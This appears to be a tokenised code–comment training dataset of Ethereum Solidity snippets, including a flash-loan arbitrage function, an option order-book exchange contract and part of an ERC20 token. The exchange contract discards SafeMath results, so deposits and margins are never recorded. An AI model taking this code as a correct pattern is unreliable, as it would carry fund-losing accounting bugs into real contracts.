0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7720,
15388,
38,
1290,
14332,
5157,
12,
11890,
3844,
1182,
16,
1758,
8526,
745,
892,
589,
16,
1758,
358,
13,
203,
3639,
3903,
203,
3639,
8843,
429,
203,
3639,
1135,
261,
11890,
8526,
3778,
30980,
13,
203,
565,
288,
203,
3639,
30980,
273,
276,
5857,
91,
438,
8259,
18,
588,
6275,
87,
382,
12,
8949,
1182,
16,
589,
1769,
203,
3639,
2583,
12,
803,
63,
20,
65,
422,
678,
15388,
38,
16,
296,
62,
4069,
23780,
12521,
30,
10071,
67,
4211,
8284,
203,
3639,
2583,
12,
8949,
87,
63,
20,
65,
1648,
1234,
18,
1132,
16,
296,
62,
4069,
23780,
12521,
2866,
7677,
30,
713,
8284,
203,
3639,
2583,
12,
8949,
1182,
405,
374,
16,
296,
62,
4069,
23780,
12521,
2866,
7677,
30,
1611,
8284,
203,
3639,
2583,
12,
3576,
18,
1132,
405,
374,
16,
296,
62,
4069,
23780,
12521,
2866,
7677,
30,
3103,
8284,
203,
3639,
2583,
12,
803,
18,
2469,
422,
576,
16,
296,
62,
4069,
23780,
12521,
2866,
7677,
30,
4630,
8284,
203,
3639,
2583,
12,
803,
63,
20,
65,
480,
1758,
12,
20,
13,
597,
589,
63,
21,
65,
480,
1758,
12,
20,
3631,
296,
62,
4069,
23780,
12521,
2866,
7677,
30,
3028,
8284,
203,
3639,
2583,
12,
803,
63,
20,
65,
480,
358,
597,
589,
63,
21,
65,
480,
358,
16,
296,
62,
4069,
23780,
12521,
2866,
7677,
30,
6260,
8284,
203,
3639,
2254,
5034,
389,
10239,
823,
273,
14060,
10477,
18,
1717,
12,
3576,
18,
1132,
16,
30980,
63,
20,
19226,
203,
203,
3639,
276,
5857,
2
]
|
./full_match/5/0xDCBf4858B532C6392A948893282E145dDd9F3913/sources/src/TwoSlotsOption.sol | address who receives fees generated by contract activity
| address public FEES_COLLECTOR; | 1,890,264 | [
1,
2867,
10354,
17024,
1656,
281,
4374,
635,
6835,
5728,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1758,
1071,
16439,
3991,
67,
4935,
3918,
916,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/137/0xBd1dD7FA7F0c59B34E3F2AEef3366c6AEdaa2494/sources/contracts/Farb.sol | trader needs to monitor for arbitrage opportunities with a bot or script this is the function that trader will call when an arbitrage opportunity exists tokens are the addresses that you want to trade this first function will create the flash loan on uniswap one of the amounts will be 0 and the other amount will be the amount you want to borrow get liquidity pair address for tokens on uniswap make sure the pair exists in uniswap create flashloan create pointer to the liquidity pair address to create a flashloan call the swap function on the pair contract one amount will be 0 and the non 0 amount is for the token you want to borrow address is where you want to receive token that you are borrowing bytes can not be empty. Need to inculde some text to initiate the flash loan if bytes is empty it will initiate a traditional swap | function executeTrade(address token0, address token1, uint amount0, uint amount1) external {
address pairAddress = IUniswapV2Factory(factory).getPair(token0, token1);
require(pairAddress != address(0), 'Could not find pool on uniswap');
IUniswapV2Pair(pairAddress).swap(amount0, amount1, address(this), bytes('flashloan'));
}
| 4,715,827 | [
1,
313,
1143,
4260,
358,
6438,
364,
10056,
86,
410,
1061,
655,
318,
1961,
598,
279,
2512,
578,
2728,
333,
353,
326,
445,
716,
1284,
765,
903,
745,
1347,
392,
10056,
86,
410,
1061,
655,
13352,
1704,
2430,
854,
326,
6138,
716,
1846,
2545,
358,
18542,
333,
1122,
445,
903,
752,
326,
9563,
28183,
603,
640,
291,
91,
438,
1245,
434,
326,
30980,
903,
506,
374,
471,
326,
1308,
3844,
903,
506,
326,
3844,
1846,
2545,
358,
29759,
336,
4501,
372,
24237,
3082,
1758,
364,
2430,
603,
640,
291,
91,
438,
1221,
3071,
326,
3082,
1704,
316,
640,
291,
91,
438,
752,
9563,
383,
304,
752,
4407,
358,
326,
4501,
372,
24237,
3082,
1758,
358,
752,
279,
9563,
383,
304,
745,
326,
7720,
445,
603,
326,
3082,
6835,
1245,
3844,
903,
506,
374,
471,
326,
1661,
374,
3844,
353,
364,
326,
1147,
1846,
2545,
358,
29759,
1758,
353,
1625,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
915,
1836,
22583,
12,
2867,
1147,
20,
16,
1758,
1147,
21,
16,
2254,
3844,
20,
16,
2254,
3844,
21,
13,
3903,
288,
203,
203,
225,
1758,
3082,
1887,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
12,
6848,
2934,
588,
4154,
12,
2316,
20,
16,
1147,
21,
1769,
7010,
203,
225,
2583,
12,
6017,
1887,
480,
1758,
12,
20,
3631,
296,
4445,
486,
1104,
2845,
603,
640,
291,
91,
438,
8284,
7010,
203,
225,
467,
984,
291,
91,
438,
58,
22,
4154,
12,
6017,
1887,
2934,
22270,
12,
8949,
20,
16,
3844,
21,
16,
1758,
12,
2211,
3631,
1731,
2668,
13440,
383,
304,
6134,
1769,
203,
289,
203,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
/*
* The Option Underwriting Engine on Ethereum
* In this version, a owner can have only one bid/ask or option contracts
* Author: Jinhua Wang
* Apache License
* Version 2.0, January 2004
* http://www.apache.org/licenses/
*/
import "github.com/oraclize/ethereum-api/oraclizeAPI.sol"; //import the oraclize api
import "https://github.com/ginward/openzeppelin-solidity/contracts/math/SafeMath.sol"; //import the safe math library
import "https://github.com/ginward/openzeppelin-solidity/contracts/math/SafeMath64.sol"; //import the safe math library
import "https://github.com/ginward/rbt-solidity/contracts/RedBlackTree.sol"; //import the red black tree
contract exchange is usingOraclize{
using SafeMath for uint;
using SafeMath64 for uint64;
mapping (address => uint) balance; //the balance account for all traders
mapping (address => uint) marginBalance; //the balance of margin account. frozen unless canceled order
uint constant contract_size = 100; //the number of stocks underlying the contract. Uint is 1 cent USD. 100 cents = 1USD
uint constant maturity_date = 20180701; //the maturity date should be in YYYYMMDD
uint constant strike = 200; //the strike price of the option contract, in USD
string constant ticker = "AAPL"; //the apple ticker
uint64 nodeid_bid=1; //the unique node id which maps to node that contains the order information for bid
uint64 nodeid_ask=1; //the unique node id which maps to node that contains the order information for ask
mapping (address => uint64) bidorders; //map each owner to a tree node
mapping (address => uint64) askorders;
mapping (uint64 => bid[]) bidnodes; //map each tree node to bid orders
mapping (uint64 => ask[]) asknodes; //map each tree node to ask orders
mapping (address => bytes32) optionOwners; //map to the options. one owner can have only one option.
mapping (bytes32 => option) options; //option details
struct bid {
//the bid object
uint price;
uint volume;
uint timestamp;
address owner;
}
struct ask {
//the ask object
uint margin; //when the trader asks, he needs to provide a margin
uint price;
uint volume;
uint timestamp;
address owner;
}
struct option {
address long;
address short;
uint volume;
uint margin;
uint timestamp;
}
//the red black tree structures
using RedBlackTree for RedBlackTree.Tree;
RedBlackTree.Tree AskOrderBook;
RedBlackTree.Tree BidOrderBook;
function placeBid() public payable{
/*
* Function to place bid order
* One address can only place one bid
*/
//first check if the sender already has an order. if so, he is not allowed to send another one until this one gets executed
//expect to upgrade to multiple orders in version 2.0
if (bidorders[msg.sender]!=0||askorders[msg.sender]!=0||optionOwners[msg.sender]!=0){
revert();
}
uint p=msg.value;
//add the money to balance
balance[msg.sender].add(p);
bid memory bidObj;
bidObj.price=p;
bidObj.timestamp=now;
bidObj.owner=msg.sender;
nodeid_bid=nodeid_bid.add(1);
bidorders[msg.sender]=nodeid_bid;
BidOrderBook.insert(nodeid_bid,p);
bidnodes[nodeid_bid].push(bidObj);
}
function placeAsk(uint p) public payable{
/*
* Function to place ask order
* One address can only place one ask
*/
//check if the sender already has an order
if(bidorders[msg.sender]!=0||askorders[msg.sender]!=0||optionOwners[msg.sender]!=0){
revert();
}
uint m=msg.value; //the money sent alone is the margin
marginBalance[msg.sender].add(m);
ask memory askObj;
askObj.margin=m;
askObj.price=p; //the ask price is passed in as a parameter
askObj.timestamp=now;
askObj.owner=msg.sender;
nodeid_ask=nodeid_ask.add(1);
askorders[msg.sender]=nodeid_ask;
AskOrderBook.insert(nodeid_ask,p);
asknodes[nodeid_ask].push(askObj);
}
function matchOrders() private {
/*
* Function to match the orders in the orderbook
*/
uint64 maxbid_id=BidOrderBook.getMaximum();
if (maxbid_id==0){
revert();
}
RedBlackTree.Item memory maxbid_item=BidOrderBook.items[maxbid_id];
uint maxprice=maxbid_item.value;
uint64 minask_id=AskOrderBook.getMinimum();
if(minask_id==0){
revert();
}
RedBlackTree.Item memory minask_item=AskOrderBook.items[minask_id];
uint minprice=minask_item.value;
//check if the orderbook crosses
if (minprice<maxprice){
bid[] bidArr=bidnodes[maxbid_id];
ask[] askArr=asknodes[minask_id];
if (bidArr.length==0){
BidOrderBook.remove(maxbid_id);
//could have been a recursive call to matchOrders. but considering it is not a good practice and could burn the money,
//did't implement it
revert();
}
if (askArr.length==0){
AskOrderBook.remove(minask_id);
revert();
}
bid bid_order=bidArr[0];
ask ask_order=askArr[0];
//the orderbook crosses, execute the orders
option memory opt;
opt.long=bid_order.owner;
opt.short=ask_order.owner;
//check if the option owners still have orders outstanding
if(optionOwners[opt.long].length!=0){
//delete the bid
delete bidArr[0];
revert();
}
if(optionOwners[opt.short].length!=0){
//delete the ask
delete askArr[0];
revert();
}
//the bid volume
uint vol_bid=bid_order.volume;
//the ask volume
uint vol_ask=ask_order.volume;
if(vol_bid==vol_ask) {
//when bid volume is equal to ask volume
opt.volume=vol_ask;
opt.margin=ask_order.margin;
opt.timestamp=now;
//if the bid or ask array is empty, should delete the array
if (bidArr.length==0) {
delete bidnodes[maxbid_id];
//delete the element in the mapping
delete bidorders[bid_order.owner];
//delete the element in the tree
BidOrderBook.remove(maxbid_id);
} else {
//clear the outstanding bid order
delete bidArr[0];
}
if (askArr.length==0){
delete asknodes[minask_id];
delete askorders[ask_order.owner];
AskOrderBook.remove(minask_id);
} else {
//clean the outstanding ask order
delete askArr[0];
}
}
else if (vol_bid>vol_ask){
//bid volume > ask volume
opt.volume=vol_ask;
opt.margin=ask_order.margin;
opt.timestamp=now;
//keep part of the bid order outstanding
bidArr[0].volume=bidArr[0].volume.sub(vol_ask);
//clear the entire array if the ask array is 0
if (askArr.length==0){
delete asknodes[minask_id];
delete askorders[ask_order.owner];
AskOrderBook.remove(minask_id);
} else {
//clear the outstanding ask order
delete askArr[0];
}
}
else{
//ask volume > bid volume
opt.volume=vol_bid;
opt.margin=ask_order.margin;
opt.timestamp=now;
//keep part of the ask order outstanding
askArr[0].volume=askArr[0].volume.sub(vol_bid);
if (bidArr.length==0){
delete bidnodes[maxbid_id];
//delete the element in the mapping
delete bidorders[bid_order.owner];
//delete the element in the tree
BidOrderBook.remove(maxbid_id);
} else {
//clear the outstanding bid order
delete bidArr[0];
}
}
bytes32 hashOpt;
//hash the option contract and push it into the map of all options
hashOpt=keccak256(opt.long, opt.short, opt.volume, opt.margin, opt.timestamp);
options[hashOpt]=opt;
//keep track of who owns the option
optionOwners[opt.long]=hashOpt;
optionOwners[opt.short]=hashOpt;
}
}
function cancelBid() public{
//the node id
uint64 id=bidorders[msg.sender];
bid[] bidArr=bidnodes[id];
//delete from orderbook
for (uint i=0;i<bidArr.length;i++){
bid bid_order=bidArr[i];
if (bid_order.owner==msg.sender){
delete bidArr[i];
}
}
if (bidnodes[id].length==0){
BidOrderBook.remove(id);
}
bidorders[msg.sender]=0;//reset the bidorders
}
function cancelAsk() public{
uint marginOrder=0;
//the node id
uint64 id=askorders[msg.sender];
ask []askArr=asknodes[id];
//delete from orderbook
for (uint i=0;i<askArr.length;i++){
ask ask_order=askArr[i];
if (ask_order.owner==msg.sender){
marginOrder=ask_order.margin;
delete askArr[i];
}
}
//recover the margin value
marginBalance[msg.sender].sub(marginOrder);
balance[msg.sender].add(marginOrder);
delete asknodes[id]; //delete from orderbook
if(asknodes[id].length==0){
AskOrderBook.remove(id);
}
askorders[msg.sender]=0;
}
function mature() public{
//this function is called when the contract matures
}
} | the unique node id which maps to node that contains the order information for bid
| uint64 nodeid_bid=1; | 6,367,110 | [
1,
5787,
3089,
756,
612,
1492,
7565,
358,
756,
716,
1914,
326,
1353,
1779,
364,
9949,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
11890,
1105,
756,
350,
67,
19773,
33,
21,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
//http://www.kfc-erc20.com/
//
// Verified using https://dapp.tools
// hevm: flattened sources of src/Sander.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
